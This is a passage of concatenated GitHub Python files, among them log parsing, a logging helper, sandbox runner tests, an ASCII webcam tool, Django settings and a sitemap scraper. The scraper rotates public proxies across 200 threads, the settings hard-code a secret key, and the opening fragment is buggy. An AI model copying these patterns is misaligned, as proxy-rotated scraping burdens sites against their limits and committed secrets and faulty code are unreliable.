len(x) > max:\r\n ip = x.split()\r\n max = len(x)\r\n longest_request_line = x\r\n longest_request_line = {\r\n \"ip\": ip,\r\n \"length\": max,\r\n \"x\": longest_request_line\r\n }\r\n return longest_request_line\r\n\r\n\r\ndef non_existent(dict):\r\n rSet = set()\r\n for x in dict:\r\n http_code = dict[x]\r\n http_code = http_code.split()\r\n http_error = 0\r\n request = x\r\n if http_error == \"404\":\r\n rSet.append(request)\r\n return rSet\r\n\r\n\r\nif __name__ == \"__main__\":\r\n run()","repo_name":"1rahulvijay/script-languages","sub_path":"Lab4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"25130070679","text":"#!/usr/bin/env python\n# -*-coding:utf-8-*-\n'''\nauthor : shenshuo\ndate : 2018年2月5日13:37:54\nrole : 运维日志\n'''\n\nimport logging\nimport os\n\n###写日志类\nclass Log:\n def __init__(self, log_flag='yunwei', log_file='/log/yunwei/yunwei.log'):\n self.logFlag = log_flag\n self.logFile = log_file\n\n def write_log(self, log_level, log_message):\n ###创建一个logger\n logger = logging.getLogger(self.logFlag)\n logger.setLevel(logging.DEBUG)\n\n ###建立日志目录\n log_dir = os.path.dirname(self.logFile)\n if not os.path.isdir(log_dir):\n os.makedirs(log_dir)\n\n ###创建一个handler用于写入日志文件\n fh = logging.FileHandler(self.logFile)\n fh.setLevel(logging.DEBUG)\n\n ###创建一个handler用于输出到终端\n th = logging.StreamHandler()\n th.setLevel(logging.DEBUG)\n\n ###定义handler的输出格式\n formatter = logging.Formatter('%(asctime)s %(name)s %(levelname)s %(message)s')\n fh.setFormatter(formatter)\n\n ###给logger添加handler\n logger.addHandler(fh)\n logger.addHandler(th)\n\n ###记录日志\n level_dic = {'debug': logger.debug, 'info': logger.info, 'warning': logger.warning, 'error': logger.error,\n 'critical': logger.critical}\n level_dic[log_level](log_message)\n\n ###删除重复记录\n fh.flush()\n logger.removeHandler(fh)\n\n th.flush()\n logger.removeHandler(th)\n\nif __name__ == \"__main__\":\n pass","repo_name":"ss1917/ops_sdk","sub_path":"opssdk/logs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"72"}
+{"seq_id":"71334804392","text":"def gsBasis(A) :\n B = np.array(A, dtype=np.float_) # Make B as a copy of A, since we're going to alter it's values.\n # Loop over all vectors, starting with zero, label them with i\n for i in range(B.shape[1]) :\n # Inside that loop, loop over all previous vectors, j, to subtract.\n for j in range(i) :\n # Complete the code to subtract the overlap with previous vectors.\n # you'll need the current vector B[:, i] and a previous vector B[:, j]\n B[:, i] = B[:,i] - B[:,i] @ B[:,j] * B[:,j]\n # Next insert code to do the normalisation test for B[:, i]\n if la.norm(B[:, i]) > verySmallNumber :\n B[:, i] = B[:, i] / la.norm(B[:, i])\n else:\n B[:, i] = np.zeros_like(B[:, i])\n \n \n # Finally, we return the result:\n return B\n\n# This function uses the Gram-schmidt process to calculate the dimension\n# spanned by a list of vectors.\n# Since each vector is normalised to one, or is zero,\n# the sum of all the norms will be the dimension.\ndef dimensions(A) :\n return np.sum(la.norm(gsBasis(A), axis=0))\n","repo_name":"charchit7/applied_math","sub_path":"gram_schmidt_process.py","file_name":"gram_schmidt_process.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"17815323151","text":"from pathlib import Path\n\nimport os\n\nfrom codegen_sources.preprocessing.lang_processors import LangProcessor\nfrom codegen_sources.code_runners.test_runners import CppInputOutputEvaluator\n\ncpp_processor = LangProcessor.processors[\"cpp\"]()\n\n\nADDITION_PROGRAM = \" \".join(\n cpp_processor.tokenize_code(\n \"\"\"#include \n\nusing namespace std;\nint main() {\n int a, b;\n cin >> a >> b;\n cout << a + b << endl;\n}\"\"\"\n )\n)\n\n\ndef test_runner_on_addition_success():\n cpp_runner = CppInputOutputEvaluator()\n res, tests, failures, res_list = cpp_runner.check_outputs(\n ADDITION_PROGRAM,\n inputs=[\"1 2\", \"0 0\"],\n outputs=[\"3\\n\", \"0\\n\"],\n truncate_errors=None,\n )\n assert res == \"success\", (res, tests, failures)\n assert tests == 2\n assert failures == 0\n\n\ndef test_compilation_error():\n cpp_runner = CppInputOutputEvaluator()\n res, tests, failures, res_list = cpp_runner.check_outputs(\n ADDITION_PROGRAM.replace(\"int a\", \"a\"),\n inputs=[\"1 2\", \"0 0\"],\n outputs=[\"3\\n\", \"0\\n\"],\n truncate_errors=None,\n )\n assert res.startswith(\"compilation\"), (res, tests, failures)\n assert tests == 2\n assert failures == 2\n\n\ndef test_runner_on_addition_wrong_output_failure():\n cpp_runner = CppInputOutputEvaluator()\n res, tests, failures, res_list = cpp_runner.check_outputs(\n ADDITION_PROGRAM,\n inputs=[\"1 2\", \"0 0\"],\n outputs=[\"3\\n\", \"1\\n\"],\n truncate_errors=None,\n )\n assert res == \"failure: actual 0 vs expected 1\", (res, tests, failures, res_list)\n assert tests == 2\n assert failures == 1\n assert res_list[-1] == \"failure: actual 0 vs expected 1\"\n\n\ndef test_compilation_timeout():\n cpp_runner = CppInputOutputEvaluator(compilation_timeout=0.1)\n res, tests, failures, res_list = cpp_runner.check_outputs(\n ADDITION_PROGRAM,\n inputs=[\"1 2\", \"0 0\"],\n outputs=[\"3\\n\", \"0\\n\"],\n truncate_errors=None,\n )\n assert res == \"compilation timeout: Compilation Timeout\", (res, tests, failures)\n assert tests == 2\n assert failures == 2\n\n\ndef test_runtime_timeout():\n cpp_runner = CppInputOutputEvaluator(timeout=1)\n res, tests, failures, res_list = cpp_runner.check_outputs(\n \"#include \\n\"\n + ADDITION_PROGRAM.replace(\"main ( ) {\", \"main ( ) { sleep( 10 ) ;\"),\n inputs=[\"1 2\"],\n outputs=[\"3\\n\"],\n truncate_errors=None,\n )\n assert res == \"timeout: \", (res, tests, failures)\n assert tests == 1\n assert failures == 1\n\n\ndef test_firejail_keeps_from_writing():\n if os.environ.get(\"CI\", False):\n return\n cpp_runner = CppInputOutputEvaluator(timeout=20)\n test_out_path = Path(__file__).parent.joinpath(\n \"test_output_should_not_be_written_cpp.out\"\n )\n if test_out_path.exists():\n os.remove(test_out_path)\n write_to_file = (\n \"\"\"#include \n#include \n\nusing namespace std;\nint main() {\n ofstream myfile;\n myfile.open (\"%s\");\n myfile << \"hello\" << endl;\n return 1;\n }\n\"\"\"\n % test_out_path\n )\n write_to_file = \" \".join(cpp_processor.tokenize_code(write_to_file))\n res, tests, failures, res_list = cpp_runner.check_outputs(\n write_to_file, inputs=[\"\"], outputs=[\"\"], truncate_errors=None\n )\n assert not test_out_path.is_file(), f\"{test_out_path} should not have been written\"\n assert res == \"success\", (res, tests, failures)\n assert tests == 1\n assert failures == 0\n","repo_name":"facebookresearch/CodeGen","sub_path":"codegen_sources/code_runners/test_runners/tests/test_input_output_runners/test_cpp_io_evaluators.py","file_name":"test_cpp_io_evaluators.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","stars":617,"dataset":"github-code","pt":"72"}
+{"seq_id":"24543621175","text":"import cv2\nimport os\nimport numpy as np\nimport PIL.Image as Image\nimport datetime\nfrom pynput import keyboard\n\n\ncap = cv2.VideoCapture(0)\ncap.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\ncap.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\nif not cap.isOpened():\n print(\"Cannot open camera\")\n exit()\n\n\ndef on_press(key):\n try:\n if key.char == \"q\":\n global close\n close = True\n\n except AttributeError:\n if key == keyboard.Key.space:\n save_image()\n\n\ndef save_image():\n date_now = str(datetime.datetime.utcnow()).replace(\" \", \"_\")\n print(date_now)\n file = open(f\"{date_now}.txt\", \"w\")\n file.write(final_image)\n file.close()\n\n\ndef on_release(key):\n pass\n\n\ndef resize(image) -> Image.Image:\n original_width, original_height = image.size\n aspect_ratio = original_width / original_height\n new_height = 100\n new_width = 150\n # new_width = int(new_height * aspect_ratio)\n return image.resize((new_width, new_height), Image.LANCZOS)\n\n\ndef grayify(image) -> Image.Image:\n return image.convert(\"L\")\n\n\ndef pixel_to_ascii(image) -> None:\n image_from_array = Image.fromarray(image)\n processed_image = grayify(resize(image_from_array))\n array_of_pixels = np.array(processed_image)\n average = np.average(array_of_pixels)\n contrast = int(40 - 30 * ((256 - average) / 256))\n\n # An array of ascii chars of descending intensity\n ASCII_CHARS = (\n \"$@B%8&WM#*oahkbdpqwmZO0QLCJUYXzcvunxrjft/|\"\n \"()1{}[]?-_+~<>i!lI;:,\\\"^`'. \"\n )\n ASCII_CHARS = ASCII_CHARS[: -41 + contrast]\n\n n = len(ASCII_CHARS)\n indexes = np.floor(array_of_pixels / 256 * n)\n ascii_image = \"\"\n for i in range(0, array_of_pixels.shape[0]):\n for j in range(0, array_of_pixels.shape[1]):\n k = int(indexes[i, j])\n ascii_char = ASCII_CHARS[n - 1 - k]\n ascii_image += ascii_char\n ascii_image += \"\\n\"\n # os.system(\"clear\")\n global final_image\n final_image = ascii_image\n print(ascii_image)\n print()\n print()\n print(f\"Press space to click a picture! {' '*30} Press q to quit\")\n # print(contrast)\n\n\nlistener = keyboard.Listener(on_press=on_press, on_release=on_release)\nlistener.start()\n\n\nclose = False\nwhile not close:\n # Capture frame-by-frame\n ret, frame = cap.read()\n frame = cv2.flip(frame, 1)\n # if frame is read correctly ret is True\n if not ret:\n print(\"Can't receive frame (stream end?). Exiting ...\")\n break\n # Our operations on the frame come here\n pixel_to_ascii(frame)\n # Display the resulting frame\n # cv.imshow(\"Image to ASCII\", gray)\n if cv2.waitKey(1) == ord(\"q\"):\n break\n if close:\n os.system(\"cls\" if os.name == \"nt\" else \"clear\")\n exit()\n# When everything done, release the capture\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"suprabhatrijal/ascii_cam","sub_path":"ascii_video.py","file_name":"ascii_video.py","file_ext":"py","file_size_in_byte":2884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"14202306229","text":"\"\"\"\nDjango settings for simple project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.7/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.7/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nimport sys\n\nfrom django_nine import versions\n\nfrom .core import PROJECT_DIR, gettext\n\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\n\ntry:\n from .local_settings import DEBUG_TEMPLATE\nexcept Exception as err:\n DEBUG_TEMPLATE = False\n\ntry:\n from .local_settings import USE_CACHED_TEMPLATE_LOADERS\nexcept Exception as err:\n USE_CACHED_TEMPLATE_LOADERS = False\n\nif USE_CACHED_TEMPLATE_LOADERS:\n\n _TEMPLATE_LOADERS = [\n (\n \"django.template.loaders.cached.Loader\",\n (\n \"django.template.loaders.filesystem.Loader\",\n \"django.template.loaders.app_directories.Loader\",\n ),\n ),\n ]\nelse:\n\n _TEMPLATE_LOADERS = [\n \"django.template.loaders.filesystem.Loader\",\n \"django.template.loaders.app_directories.Loader\",\n ]\n\nif versions.DJANGO_GTE_1_10:\n TEMPLATES = [\n {\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n # 'APP_DIRS': True,\n \"DIRS\": [PROJECT_DIR(os.path.join(\"..\", \"templates\"))],\n \"OPTIONS\": {\n \"context_processors\": [\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.request\",\n \"django.contrib.auth.context_processors.auth\",\n \"django.contrib.messages.context_processors.messages\",\n \"django_nine.context_processors.versions\",\n ],\n \"loaders\": _TEMPLATE_LOADERS,\n \"debug\": DEBUG_TEMPLATE,\n },\n },\n ]\nelif versions.DJANGO_GTE_1_8:\n TEMPLATES = [\n {\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n # 'APP_DIRS': True,\n \"DIRS\": [PROJECT_DIR(os.path.join(\"..\", \"templates\"))],\n \"OPTIONS\": {\n \"context_processors\": [\n \"django.contrib.auth.context_processors.auth\",\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.i18n\",\n \"django.template.context_processors.media\",\n \"django.template.context_processors.static\",\n \"django.template.context_processors.tz\",\n \"django.contrib.messages.context_processors.messages\",\n \"django.template.context_processors.request\",\n \"django_nine.context_processors.versions\",\n ],\n \"loaders\": _TEMPLATE_LOADERS,\n \"debug\": DEBUG_TEMPLATE,\n },\n },\n ]\nelse:\n TEMPLATE_DEBUG = DEBUG_TEMPLATE\n\n # List of callables that know how to import templates from various\n # sources.\n TEMPLATE_LOADERS = _TEMPLATE_LOADERS\n\n TEMPLATE_CONTEXT_PROCESSORS = (\n \"django.contrib.auth.context_processors.auth\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.static\",\n \"django.core.context_processors.tz\",\n \"django.contrib.messages.context_processors.messages\",\n \"django.core.context_processors.request\",\n \"django_nine.context_processors.versions\",\n )\n\n TEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or\n # \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n PROJECT_DIR(os.path.join(\"..\", \"templates\")),\n )\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = \"uzc&9xi6b#dz^z7tpa+br3ohq)-9%v9ux@9^t!(5fl41n%&mn$\"\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\nDEV = False\n\nALLOWED_HOSTS = [\n \"*\",\n]\n\n# Application definition\n\nINSTALLED_APPS = (\n \"django.contrib.admin\",\n \"django.contrib.auth\",\n \"django.contrib.contenttypes\",\n \"django.contrib.sessions\",\n \"django.contrib.messages\",\n \"django.contrib.staticfiles\",\n)\n\nMIDDLEWARE_CLASSES = (\n \"django.contrib.sessions.middleware.SessionMiddleware\",\n \"django.middleware.common.CommonMiddleware\",\n \"django.middleware.csrf.CsrfViewMiddleware\",\n \"django.contrib.auth.middleware.AuthenticationMiddleware\",\n \"django.contrib.auth.middleware.SessionAuthenticationMiddleware\",\n \"django.contrib.messages.middleware.MessageMiddleware\",\n \"django.middleware.clickjacking.XFrameOptionsMiddleware\",\n)\n\nROOT_URLCONF = \"urls\"\n\nWSGI_APPLICATION = \"simple.wsgi.application\"\n\n\n# Database\n# https://docs.djangoproject.com/en/1.7/ref/settings/#databases\n\nDATABASES = {\n \"default\": {\n \"ENGINE\": \"django.db.backends.sqlite3\",\n \"NAME\": os.path.join(BASE_DIR, \"db.sqlite3\"),\n }\n}\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.7/topics/i18n/\n\nLANGUAGE_CODE = \"en\"\n\nTIME_ZONE = \"UTC\"\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.7/howto/static-files/\n\nSTATIC_URL = \"/static/\"\n\n# Do not put any settings below this line\ntry:\n from .local_settings import *\nexcept Exception as err:\n pass\n\n# Make the `django-nine` package available without installation.\nif DEV:\n nine_source_path = os.environ.get(\"NINE_SOURCE_PATH\", \"src\")\n # sys.path.insert(0, os.path.abspath('src'))\n sys.path.insert(0, os.path.abspath(nine_source_path))\n","repo_name":"barseghyanartur/django-nine","sub_path":"examples/simple/simple/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5928,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"25902665666","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('preprocessing', '0007_auto_20170530_1125'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Route_Related_Grid',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('route_id', models.IntegerField(verbose_name=b'\\xe9\\x81\\x93\\xe8\\xb7\\xafID')),\n ('grid_ids', models.TextField(verbose_name=b'\\xe9\\x81\\x93\\xe8\\xb7\\xaf\\xe7\\xbb\\x8f\\xe8\\xbf\\x87\\xe7\\x9a\\x84\\xe7\\xbd\\x91\\xe6\\xa0\\xbcID\\xe5\\x88\\x97\\xe8\\xa1\\xa8')),\n ],\n ),\n ]\n","repo_name":"15101538237ren/AccidentsPrediction","sub_path":"preprocessing/migrations/0008_route_related_grid.py","file_name":"0008_route_related_grid.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"30079062826","text":"import pdb\nimport requests\nimport random\nfrom lxml import html\nfrom queue import Queue\nfrom concurrent.futures import ThreadPoolExecutor\nfrom time import sleep\n\n\nbase_sitemap = 'https://www.olx.ua/sitemap_single.xml'\nresult_file = 'urls_olx.txt'\n\ntreads = 200\n\nproxy_key = 'xxxx'\nproxy_url = \"http://api.best-proxies.ru/proxylist.txt?key={}&limit=0&type=http,https\".format(proxy_key)\n\n\nheaders = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\n \"Accept-Encoding\": \"gzip, deflate, sdch, br\",\n \"Accept-Language\": \"en-US;q=0.6,en;q=0.4\",\n \"Cache-Control\": \"max-age=0\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0\"\n}\n\n\nclass Proxy:\n def __init__(self, host, port):\n self.host = str(host)\n self.port = int(port)\n self.row = '{host}:{port}'.format(host=host, port=port)\n\n def __str__(self):\n return ''.format(self.row)\n\n\ndef get_code(url, proxy=None):\n proxies = {'https': 'https://{}'.format(proxy.row), 'http': 'http://{}'.format(proxy.row)} if proxy else None\n # print('GET from', proxy, '-->', url)\n resp = requests.get(url, headers=headers, timeout=600, proxies=proxies)\n assert resp.status_code == 200\n return resp.content\n\n\ndef get_links(code):\n if b'sitemapindex' in code:\n _type = 'sitemapindex'\n urls = html.fromstring(code).xpath('//sitemap/loc/text()')\n else:\n _type = 'urls'\n urls = html.fromstring(code).xpath('//url/loc/text()')\n return _type, urls\n\n\ndef worker(urls_q, proxies_q, proxies_q_good):\n while urls_q.qsize():\n # Get proxy server from Queue and make proxy row string\n if not proxies_q_good.empty():\n proxy = proxies_q_good.get()\n else:\n if not proxies_q.empty():\n proxy = proxies_q.get()\n else:\n sleep(2)\n continue\n\n # Get link\n map_link = urls_q.get()\n\n # Make http request with proxy\n try:\n content = get_code(map_link, proxy)\n assert b'sitemaps.org' in content\n except Exception:\n # print(type(e3), e3, '[worker, code.Exception]', map_link)\n urls_q.put(map_link)\n continue\n\n # If proxy is working put it into good (working) proxies Queue again\n proxies_q_good.put_nowait(proxy)\n\n # Create dictionary data, to save it into database\n try:\n data = get_links(content)\n if data[0] == 'sitemapindex':\n for u in data[1]:\n urls_q.put_nowait(u)\n else:\n with open(result_file, 'a', encoding='utf-8') as file:\n for u in data[1]:\n file.write(u+'\\n')\n print('[OK]', proxy.row, '-->', map_link,\n '| WPQ:', proxies_q_good.qsize(), '| APQ:', proxies_q.qsize(), '| URLsQ:', urls_q.qsize())\n except Exception as e4:\n print(type(e4), e4, '[data_formatting Exception]', map_link)\n\n\ndef first(urls_q):\n content = get_code(base_sitemap)\n try:\n data = get_links(content)\n if data[0] == 'sitemapindex':\n for u in data[1]:\n urls_q.put_nowait(u)\n print('Find', urls_q.qsize(), 'sitemaps')\n else:\n with open(result_file, 'a', encoding='utf-8') as f:\n for u in data[1]:\n f.write(u + '\\n')\n print('Done!', len(data[1]), 'urls')\n except Exception as e:\n print(type(e), e)\n\n\ndef find_proxies(urls_q, proxies_q):\n while urls_q.qsize():\n if proxies_q.qsize() < treads:\n print('Start finding proxies.')\n try:\n code = get_code(proxy_url).decode('utf-8')\n proxies = [(x.split(':')[0], x.split(':')[1]) for x in code.split('\\r\\n') if x]\n random.shuffle(proxies)\n print(proxies[:10], len(proxies))\n except Exception as e1:\n print(type(e1), e1, '[Can not get proxies by API from source]')\n proxies = []\n try:\n for p in proxies:\n proxies_q.put_nowait(Proxy(host=p[0], port=p[1]))\n print('Proxies Queue Size: ', proxies_q.qsize())\n except Exception as e2:\n print(type(e2), e2, '[Exception in ProxyBroker]')\n sleep(5)\n\n\ndef main():\n urls_q = Queue()\n first(urls_q)\n proxies_q = Queue()\n proxies_q_good = Queue()\n\n with ThreadPoolExecutor(max_workers=treads+1) as executor:\n executor.submit(find_proxies, urls_q, proxies_q)\n for i in range(treads):\n executor.submit(worker, urls_q, proxies_q, proxies_q_good)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"vvscode/py--notes","sub_path":"py4seo/sources/sitemaper/sitemaper2.py","file_name":"sitemaper2.py","file_ext":"py","file_size_in_byte":4815,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"512500619","text":"import pprint\nimport re\n\nREG = re.compile(r'^p=<(?P(-)?[0-9]+),(?P(-)?[0-9]+),(?P(-)?[0-9]+)>, v=<(?P(-)?[0-9]+),(?P(-)?[0-9]+),(?P(-)?[0-9]+)>, a=<(?P(-)?[0-9]+),(?P(-)?[0-9]+),(?P(-)?[0-9]+)>')\n\nwith open('day20.in', 'r') as f:\n inp = f.readlines()\n\n\ndef step(data):\n for p in data:\n # Apply accelleration\n p['v']['x'] += p['a']['x']\n p['v']['y'] += p['a']['y']\n p['v']['z'] += p['a']['z']\n\n # Apply velocity\n p['p']['x'] += p['v']['x']\n p['p']['y'] += p['v']['y']\n p['p']['z'] += p['v']['z']\n\n # Check collisions\n for i, p in enumerate(data):\n to_disable = set()\n for j, q in enumerate(data):\n if not p['collision'] and not q['collision']:\n if i != j and (p['p']['x'] == q['p']['x'] and p['p']['y'] == q['p']['y'] and p['p']['z'] == q['p']['z']):\n to_disable.add(j)\n to_disable.add(i)\n for x in to_disable:\n data[x]['collision'] = True\n\n return data\n\n\ndef manhattan_distances(data):\n distances = []\n for p in data:\n distances.append(abs(p['p']['x']) + abs(p['p']['y']) + abs(p['p']['z']))\n return distances\n\n\ndef can_stop(data):\n stop = True\n for p in data:\n c1 = (p['p']['x'] < 0 and p['v']['x'] <= 0 and p['a']['x'] <= 0) or (p['p']['x'] >= 0 and p['v']['x'] >= 0 and p['a']['x'] >= 0)\n c2 = (p['p']['y'] < 0 and p['v']['y'] <= 0 and p['a']['y'] <= 0) or (p['p']['y'] >= 0 and p['v']['y'] >= 0 and p['a']['y'] >= 0)\n c3 = (p['p']['z'] < 0 and p['v']['z'] <= 0 and p['a']['z'] <= 0) or (p['p']['z'] >= 0 and p['v']['z'] >= 0 and p['a']['z'] >= 0)\n if not (c1 and c2 and c3):\n stop = False\n #print(\"Preventing stop:\")\n #pprint.pprint(p)\n return stop\n\n\ndata = []\nfor l in inp:\n match = REG.match(l)\n if match:\n data.append({\n 'p': {'x': int(match.group('px')), 'y': int(match.group('py')), 'z': int(match.group('pz'))},\n 'v': {'x': int(match.group('vx')), 'y': int(match.group('vy')), 'z': int(match.group('vz'))},\n 'a': {'x': int(match.group('ax')), 'y': int(match.group('ay')), 'z': int(match.group('az'))},\n 'collision': False\n })\n\ncondition = True\ns_count = 0\nwhile condition:\n data = step(data)\n condition = not can_stop(data)\n s_count += 1\n #pprint.pprint(data)\n\ndistances = manhattan_distances(data)\nminimum_i = None\nminimum_v = None\nfor i, v in enumerate(distances):\n if minimum_i is None or minimum_v is None or minimum_v > v:\n minimum_i = i\n minimum_v = v\n\nprint(\"Minimum manhattan distance: point {} ({}):\".format(minimum_i, minimum_v))\npprint.pprint(data[minimum_i])\nprint(\"{} points have not collided\".format(len([x for x in data if not x['collision']])))\nprint(\"Simulated {} steps\".format(s_count))\n","repo_name":"Kurocon/AdventOfCode2017","sub_path":"day20.py","file_name":"day20.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"3905548436","text":"import io\nimport sys\nimport json\nimport pathlib\nimport tempfile\nimport importlib\nimport contextlib\n\nfrom dffml.cli.cli import CLI\nfrom dffml import (\n DataFlow,\n Input,\n run,\n chdir,\n AsyncTestCase,\n)\n\nECHO_STRING = \"\"\"\ndef echo_string(input_string: str) -> str:\n return \"Echo: \" + input_string\n\"\"\"\n\nECHO_STRINGS = \"\"\"\nfrom typing import AsyncIterator\n\nasync def echo_strings(input_string: str) -> AsyncIterator[str]:\n for i in range(0, 5):\n yield f\"Echo({i}): {input_string}\"\n\"\"\"\n\n\nclass TestDataflowCreate(AsyncTestCase):\n @staticmethod\n @contextlib.asynccontextmanager\n async def make_dataflow(ops, operations, inputs):\n # Create temp dir and write op to ops.py\n with tempfile.TemporaryDirectory() as tmpdirname:\n # Change directory into the tempdir\n with chdir(tmpdirname):\n # Write out op to op.py\n pathlib.Path(tmpdirname, \"ops.py\").write_text(ops)\n # Reload contents\n sys.path.insert(0, tmpdirname)\n module = importlib.import_module(\"ops\")\n importlib.reload(module)\n sys.path.pop(0)\n # $ dffml dataflow create $operations -inputs $inputs\n with io.StringIO() as dataflow:\n with contextlib.redirect_stdout(dataflow):\n await CLI.cli(\n \"dataflow\",\n \"create\",\n *operations,\n \"-inputs\",\n *inputs,\n )\n yield DataFlow._fromdict(**json.loads(dataflow.getvalue()))\n\n async def test_single(self):\n operation_qualname = \"ops:echo_string\"\n async with self.make_dataflow(\n ECHO_STRING,\n [operation_qualname, \"get_single\"],\n [\"ops:echo_string.outputs.result,=get_single_spec\"],\n ) as dataflow:\n # Make sure the operation is in the dataflow\n self.assertIn(operation_qualname, dataflow.operations)\n # Definitions for shorthand access\n idef = dataflow.operations[operation_qualname].inputs[\n \"input_string\"\n ]\n odef = dataflow.operations[operation_qualname].outputs[\"result\"]\n # Run the dataflow\n async for ctx_str, results in run(\n dataflow,\n [Input(value=\"Irregular at magic school\", definition=idef,)],\n ):\n self.assertIn(odef.name, results)\n self.assertEqual(\n results[odef.name], \"Echo: Irregular at magic school\",\n )\n\n async def test_gen(self):\n operation_qualname = \"ops:echo_strings\"\n async with self.make_dataflow(\n ECHO_STRINGS,\n [operation_qualname, \"get_multi\"],\n [\"ops:echo_strings.outputs.result,=get_multi_spec\"],\n ) as dataflow:\n # Make sure the operation is in the dataflow\n self.assertIn(operation_qualname, dataflow.operations)\n # Definitions for shorthand access\n idef = dataflow.operations[operation_qualname].inputs[\n \"input_string\"\n ]\n odef = dataflow.operations[operation_qualname].outputs[\"result\"]\n # Run the dataflow\n async for ctx_str, results in run(\n dataflow,\n [Input(value=\"Irregular at magic school\", definition=idef,)],\n ):\n self.assertIn(odef.name, results)\n self.assertListEqual(\n results[odef.name],\n [\n f\"Echo({i}): Irregular at magic school\"\n for i in range(0, 5)\n ],\n )\n","repo_name":"intel/dffml","sub_path":"tests/df/test_df_create.py","file_name":"test_df_create.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","stars":232,"dataset":"github-code","pt":"72"}
+{"seq_id":"2728092397","text":"import luigi\nfrom luigi.util import requires\nimport numpy as np\nfrom pyzsl.data.awa.paths import AWAPaths, TmpPaths\nfrom pyzsl.utils.luigi import Wrapper, MkdirTask, DownloadTask, \\\n UnpackTask, local_targets\nfrom pyzsl.utils.general import json_dump, json_load, \\\n numpy_array_from_text, readlines\nfrom functools import partial\n\n\nclass AWATask(luigi.Task):\n \"\"\" This task provides path and tmp_path property to all tasks. \"\"\"\n path = luigi.Parameter() # type: str\n @property\n def paths(self) -> AWAPaths:\n return AWAPaths(self.path, as_str=True)\n\n @property\n def tmp_paths(self) -> TmpPaths:\n return TmpPaths(self.paths.tmp, as_str=True)\n\n\nclass DirectoryStructureTask(luigi.WrapperTask, AWATask):\n def requires(self):\n mkdir_paths = [\n self.paths.tmp\n , self.paths.raw\n , self.paths.features\n , self.paths.labels\n , self.paths.indices\n , self.paths.descriptions\n , self.paths.metadata\n ]\n\n ret = [MkdirTask(dirname=d) for d in mkdir_paths]\n return ret\n\nclass GetRawDataTask(luigi.WrapperTask, AWATask):\n def _base_data(self):\n url = \"https://cvml.ist.ac.at/AwA2/AwA2-base.zip\"\n return DownloadTask(url=url, path=self.paths.base_zip,\n md5=\"27998437f72823d8ac314257682b57ca\")\n\n def _img_features(self):\n url = \"http://cvml.ist.ac.at/AwA2/AwA2-features.zip\"\n return DownloadTask(url=url, path=self.paths.features_zip,\n md5=\"b1735c7b8a9044b1d51903b4c9e9fcd5\")\n\n def _xlsa(self):\n url = 'https://datasets.d2.mpi-inf.mpg.de/xian/xlsa17.zip'\n return DownloadTask(url=url, path=self.paths.xlsa_zip)\n\n def _dir(self):\n return DirectoryStructureTask(path=self.path)\n\n def requires(self):\n return [\n self._dir(),\n self._base_data(),\n self._img_features(),\n self._xlsa()\n ]\n\nclass UnpackDataTask(luigi.WrapperTask, AWATask):\n def requires(self):\n tmp_paths = TmpPaths(self.paths.tmp, as_str=True)\n\n # To unpack data, we need to have it downloaded. Since we can't force\n # downloading to happen before unpacking using this requires method, we\n # create decorated UnpackTask, that requires GetRawDataTask. Since\n # UnpackCls requires GetRawDataTask, we are sure that data is downloaded\n # before it's used.\n UnpackCls = luigi.util.requires(GetRawDataTask)(UnpackTask)\n\n # Normally when task '@requires' another task, this call happens behind\n # the scenes. 